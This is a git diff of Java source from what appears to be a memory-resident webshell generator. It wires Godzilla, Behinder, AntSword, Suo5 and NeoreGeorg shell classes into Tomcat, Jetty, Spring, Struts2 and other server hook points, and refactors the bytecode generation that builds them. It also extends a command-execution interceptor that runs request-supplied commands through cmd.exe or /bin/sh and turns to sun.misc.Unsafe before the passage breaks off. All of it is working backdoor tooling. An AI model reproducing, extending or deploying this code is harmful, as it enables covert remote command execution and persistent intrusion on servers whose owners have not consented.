Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes(); Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return MemShellResult.builder() return MemShellResult.builder()
@@ -8,6 +8,7 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*; import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
@@ -44,6 +45,7 @@ public class ServerFactory {
register(Server.SpringWebMvc, SpringWebMvc::new); register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new); register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
@@ -69,10 +71,14 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class) .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class) .addShellClass(HANDLER, GodzillaJettyHandler.class)
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -97,6 +103,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -114,6 +121,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Command, ToolMapping.builder() addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -129,6 +137,7 @@ public class ServerFactory {
.addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
@@ -140,10 +149,14 @@ public class ServerFactory {
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Command.class) .addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class) .addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
.addShellClass(HANDLER, CommandJettyHandler.class)
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -169,6 +182,33 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struct2Action.class)
.build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
.addShellClass(SERVLET, Suo5v2Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
.addShellClass(FILTER, Suo5v2Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
.addShellClass(LISTENER, Suo5v2Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
.addShellClass(VALVE, Suo5v2Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
.addShellClass(PROXY_VALVE, Suo5v2.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struct2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build()); .build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -193,6 +233,7 @@ public class ServerFactory {
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
.build()); .build());
} }
@@ -9,6 +9,7 @@ public class ShellTool {
public static final String Behinder = "Behinder"; public static final String Behinder = "Behinder";
public static final String Command = "Command"; public static final String Command = "Command";
public static final String Suo5 = "Suo5"; public static final String Suo5 = "Suo5";
public static final String Suo5v2 = "Suo5v2";
public static final String AntSword = "AntSword"; public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg"; public static final String NeoreGeorg = "NeoreGeorg";
public static final String Custom = "Custom"; public static final String Custom = "Custom";
@@ -23,6 +23,7 @@ public class ShellToolFactory {
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class); register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class); register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class); register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class); register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class); register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class); register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
@@ -15,17 +15,22 @@ public class ShellType {
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER; public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve"; public static final String VALVE = "Valve";
public static final String UPGRADE = "Upgrade";
public static final String JAKARTA_VALVE = JAKARTA + VALVE; public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE; public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String HANDLER = "Handler";
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
public static final String CUSTOMIZER = "Customizer";
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent"; public static final String AGENT = "Agent";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -41,4 +46,6 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket"; public static final String WEBSOCKET = "WebSocket";
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String ACTION = "Action";
} }
@@ -15,15 +15,30 @@ import org.apache.commons.lang3.StringUtils;
@SuperBuilder @SuperBuilder
@ToString @ToString
public class CommandConfig extends ShellToolConfig { public class CommandConfig extends ShellToolConfig {
/**
* 接收参数的请求头或请求参数名称
*/
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = CommonUtil.getRandomString(8);
/**
* 加密器
*/
@Builder.Default @Builder.Default
private Encryptor encryptor = Encryptor.RAW; private Encryptor encryptor = Encryptor.RAW;
/**
* 实现类
*/
@Builder.Default @Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/**
* 命令执行模板,使用 {command} 作为占位符
*/
private String template;
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>> public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> { extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B paramName(String paramName) { public B paramName(String paramName) {
@@ -46,4 +46,9 @@ public class InjectorConfig {
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 添加静态代码块调用构造方法初始化
*/
private boolean staticInitialize;
} }
@@ -55,17 +55,28 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean debug = false; private boolean debug = false;
/**
* 是否使用回显模式
*/
@Builder.Default
private boolean probe = false;
/** /**
* 是否启用缩小字节码 * 是否启用缩小字节码
*/ */
@Builder.Default @Builder.Default
private boolean shrink = false; private boolean shrink = false;
/**
* 追加 Lambda 类名后缀
*/
@Builder.Default
private boolean lambdaSuffix = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
public boolean isJakarta() { public boolean isJakarta() {
return shellType.startsWith(ShellType.JAKARTA); return shellType.startsWith(ShellType.JAKARTA);
} }
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import net.bytebuddy.description.type.TypeDescription;
/** /**
* @author ReaJason * @author ReaJason
@@ -19,6 +21,9 @@ public class ShellToolConfig {
*/ */
private Class<?> shellClass; private Class<?> shellClass;
@JsonIgnore
private transient TypeDescription shellTypeDescription;
/** /**
* shellClass 的类名 * shellClass 的类名
*/ */
@@ -1,19 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
protected final ShellConfig shellConfig;
protected final T shellToolConfig;
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
this.shellConfig = shellConfig;
this.shellToolConfig = shellToolConfig;
}
}
@@ -1,15 +1,11 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
/** /**
@@ -29,35 +25,24 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass();
String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
String shellClassName = shellToolConfig.getShellClassName();
Class<?> shellClass = shellToolConfig.getShellClass();
String shellType = shellConfig.getShellType(); if (shellClass != null) {
AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
} }
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { if (shellToolConfig.getShellTypeDescription() == null) {
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion()); throw new GenerationException("shellClass or shellTypeDescription could not be null.");
} }
if (shellConfig.isJakarta()) { builder = ProcessorRegistry.applyBuilderProcessors(builder, shellConfig, shellToolConfig)
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
builder = builder
.name(shellClassName) .name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink()); return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
} }
} }
} }
@@ -8,6 +8,7 @@ import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader; import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.pool.TypePool; import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
import java.util.Base64; import java.util.Base64;
@@ -27,12 +28,19 @@ public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig>
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
ClassReader classReader = new ClassReader(classBytes); ClassReader classReader = new ClassReader(classBytes);
String className = classReader.getClassName().replace('/', '.'); String className = classReader.getClassName().replace('/', '.');
ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes); if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(className);
}
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
ClassFileLocator.Simple.of(className, classBytes),
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
);
TypeDescription typeDescription = new TypePool.Default( TypeDescription typeDescription = new TypePool.Default(
new TypePool.CacheProvider.Simple(), classFileLocator, new TypePool.CacheProvider.Simple(), compoundLocator,
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader() TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
).describe(className).resolve(); ).describe(className).resolve();
shellToolConfig.setShellTypeDescription(typeDescription);
return new ByteBuddy() return new ByteBuddy()
.redefine(typeDescription, classFileLocator); .redefine(typeDescription, compoundLocator);
} }
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.InnerClassDiscovery; import com.reajason.javaweb.asm.InnerClassDiscovery;
import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
@@ -59,6 +60,10 @@ public class InjectorGenerator {
if (shellConfig.isDebugOff()) { if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = StaticBlockSelfConstructorCall.extend(builder);
}
return builder; return builder;
} }
@@ -1,42 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/2/22
*/
public class ListenerGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
.getDeclaredMethods()
.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty();
if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
}
return builder;
}
}
@@ -0,0 +1,12 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/12/7
*/
public interface Processor<T> {
T process(T input, ShellConfig shellConfig, ShellToolConfig shellToolConfig);
}
@@ -0,0 +1,52 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.processors.*;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Arrays;
import java.util.List;
/**
* @author ReaJason
* @since 2025/12/7
*/
public final class ProcessorRegistry {
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
new ListenerBuilderModifier(),
new ValveBuilderModifier(),
new JakartaBuilderModifier(),
new DebugOffBuilderModifier()
);
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
new JettyHandlerPostProcessor(),
new ShrinkPostProcessor()
);
private ProcessorRegistry() {
// Prevent instantiation
}
public static DynamicType.Builder<?> applyBuilderProcessors(
DynamicType.Builder<?> builder,
ShellConfig shellConfig,
ShellToolConfig shellToolConfig) {
for (Processor<DynamicType.Builder<?>> processor : BUILDER_PROCESSORS) {
builder = processor.process(builder, shellConfig, shellToolConfig);
}
return builder;
}
public static byte[] applyByteProcessors(
byte[] bytes,
ShellConfig shellConfig,
ShellToolConfig shellToolConfig) {
for (Processor<byte[]> processor : BYTE_PROCESSORS) {
bytes = processor.process(bytes, shellConfig, shellToolConfig);
}
return bytes;
}
}
@@ -1,8 +1,6 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -33,14 +31,6 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.field(named("paramName")) .field(named("paramName"))
.value(shellToolConfig.getParamName()); .value(shellToolConfig.getParamName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) { if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
builder = builder builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam", .visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
@@ -52,13 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
} }
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) { if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream"))); builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
.to(RuntimeExecInterceptor.class)
.on(named("getInputStream")));
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) { } else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream"))); builder = builder.visit(Advice.withCustomMapping()
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
.to(ForkAndExecInterceptor.class)
.on(named("getInputStream")));
} }
return builder; return builder;
} }
} }
@@ -13,9 +13,27 @@ import java.lang.reflect.Method;
*/ */
public class ForkAndExecInterceptor { public class ForkAndExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd,
@Advice.Return(readOnly = false) InputStream returnValue,
@TemplateAnnotation String template
) throws IOException {
try { try {
String[] strs = cmd.split("\\s+"); String[] cmdarray = null;
String t = template;
if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", cmd);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", cmd);
cmdarray = cmdline.split("\\s+");
}
}
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true); unsafeField.setAccessible(true);
